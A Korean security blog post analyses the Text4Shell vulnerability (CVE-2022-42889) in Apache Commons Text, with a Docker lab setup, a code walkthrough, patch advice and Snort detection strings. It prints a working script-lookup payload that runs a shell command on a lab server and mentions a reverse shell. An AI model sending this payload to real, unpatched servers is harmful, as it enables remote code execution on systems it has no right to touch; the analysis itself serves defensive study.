1. Apache Commons Tex

- 일종의 라이브러리로, 표준 자바 개발 키트(JDK)에 포함되어 텍스트 처리 기능을 강화 즉, 문자열에서 작동하는 알고리즘에 중점을 둔 라이브러리

- 현재 이 라이브러리를 활용하고 있는 프로젝트는 2588개

 

Commons Text – Home

Commons Text Apache Commons Text is a library focused on algorithms working on strings. Documentation We provide documentation in the form of a User Guide, Javadoc, and Project Reports. The Git repository can be browsed, or you can browse/contribute via Gi

commons.apache.org

 

2. CVE-2022-42889

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-42889

- Apache Commons Text 1.5.0 ~ 1.9.0에서 RCE가 가능한 취약점 (CVSS 9.8점)

- 취약한 버전의 변수 보간법을 수행하는 org.apache.commons.text.lookup.StringLookup에서 입력값에 대한 적절한 검증 없이 API를 사용하여 발생하는 취약점

변수 보간법
- 형식 : ${prefix:name}
- 여러 줄 문자열에 대해 연결 또는 이스케이프 문자를 사용하지 않고 변수, 함수 호출 및 산술 표현식을 문자열에 직접 삽입 할 수있는 기능
- 즉, 변수에 해당되는 값을 유동적으로 String에 넣을 수 있음

 

2.1 취약점 상세

- 취약한 서버 구동

$ git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker
$ cd cve-2022-42889-text4shell-docker
$ mvn clean install
$ docker build --tag=text4shell .
$ docker run -p 80:8080 text4shell

[사진 2] 취약 서버 구동

- 서버 구동 후 정상 접근 확인

[사진 3] 로컬 접근(위) 및 외부 접근(아래)

- 피해 시스템의 tmp 디렉터리 내용 확인

[사진 4] 피해 시스템 /tmp 파일 내용 확인

- search 파라미터에 아래 값을 URL로 한번 인코딩 후 Exploit

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

[사진 5] Exploit

 

- 이후 피해 시스템에서 tmp 디렉터리 내용을 확인해 보면 foo 파일이 생성된 것을 확인할 수 있음

[사진 6] foo 파일 생성

 

- 해당 패킷을 와이어샤크로 확인해보면 다음과 같음

[사진 7] 와이어샤크 패킷 확인

- 또한, 리버스쉘 생성 가능

[사진 8] 리버스 쉘

 

2.2 취약점 분석

 

Apache Commons Text远程代码执行漏洞(CVE-2022-42889)分析 - admin-神风 - 博客园

漏洞介绍 根据apache官方给出的说明介绍到Apache Commons Text执行变量插值,允许动态评估和扩展属性的一款工具包,插值的标准格式是"${prefix:name}"

www.cnblogs.com

[사진 9] 함수 호출 흐름

 

- StringSubstitutor.replace() 메서드에서 요청에 대한 첫번째 조치 수행을 위해 Substitut() 메소드 호출

public String replace(final String source) {

    if (source == null) {

        return null;

    }

    final TextStringBuilder buf = new TextStringBuilder(source);

    if (!substitute(buf, 0, source.length())) {

        return source;

    }

    return buf.toString();

 

- Substitut() 메소드는 ${} 문자열 분석을 위해 resolveVariable() 메소드 호출

[사진 10] Substitut() 메소드

protected String resolveVariable(final String variableName, final TextStringBuilder buf, final int startPos,

                                 final int endPos) {

    final StringLookup resolver = getStringLookup();

    if (resolver == null) {

        return null;

    }

    return resolver.lookup(variableName);

}

 

- resolveVariable() 메소드에서 얻은 StringLookup은 인스턴스화된 객체가 StringSubstitutor.createInterpolator()를 사용해 생성된 값임

- 그리고 생성자에서 this.setVariableResolver(variableResolver)를 호출하여 VariableResolver를 InterpolatorStringLookup 클래스로 설정한 후 계속해서 InterpolatorStringLookup의 lookup 메소드를 추적

- 해당 lookup 메소드는 ":" 앞의 스크립트 문자열을 가로채 이를 인덱스로 사용하여 해당하는 StringLookup 개체를 가져옴(지원하는 작업 유형은 18가지).

[사진 11] StringLookup 개체

@Override

public String lookup(String var) {

    if (var == null) {

        return null;

    }

 

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);

    if (prefixPos >= 0) {

        final String prefix = toKey(var.substring(0, prefixPos));

        final String name = var.substring(prefixPos + 1);

        final StringLookup lookup = stringLookupMap.get(prefix);

        String value = null;

        if (lookup != null) {

            value = lookup.lookup(name);

        }

 

        if (value != null) {

            return value;

        }

        var = var.substring(prefixPos + 1);

    }

    if (defaultStringLookup != null) {

        return defaultStringLookup.lookup(var);

    }

    return null;

}

 

- ScriptStringLookup.lookup() 메서드 호출

@Override

public String lookup(final String key) {

    if (key == null) {

        return null;

    }

    final String[] keys = key.split(SPLIT_STR, 2);

    final int keyLen = keys.length;

    if (keyLen != 2) {

        throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is EngineName:Script.",

                                               key);

    }

    final String engineName = keys[0];

    final String script = keys[1];

    try {

        final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);

        if (scriptEngine == null) {

            throw new IllegalArgumentException("No script engine named " + engineName);

        }

        return Objects.toString(scriptEngine.eval(script), null);

    } catch (final Exception e) {

        throw IllegalArgumentExceptions.format(e, "Error in script engine [%s] evaluating script [%s].", engineName,

                                               script);

    }

}

 

- js 스크립트 엔진을 가져와서 ScriptEngine.eval 메소드를 통해 코드를 실행

[사진 12] 취약점 발생 지점

3. 대응방안

① 취약점이 패치된 버전으로 업데이트 적용

- 취약점 패치 버전 : Apache Commons Text 1.10.0

- 변수 보간기를 기본적으로 비활성화

[사진 13] Apache Commons Text 1.10.0의 변수 보간기 개체

② Snort 룰 적용 후 탐지 및 차단

- 현재 위험성이 확인된 보간기 개체를 content 값으로 적용

- ${script:
- ${url:UTF-8:
- ${dns:
- ${script:JEXL:
- %24%7Bscript%3A
- %24%7Burl%3AUTF-8%3A
- %24%7Bdns%3A
- %24%7Bscript%3AJEXL%3A

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-42889

https://commons.apache.org/proper/commons-text/security.html

https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea

https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66968&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PXRpdGxlX25hbWUmc2VhcmNoX3dvcmQ9VEVYVA== 

 

'취약점 > 4Shell' 카테고리의 다른 글

Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14

+ Recent posts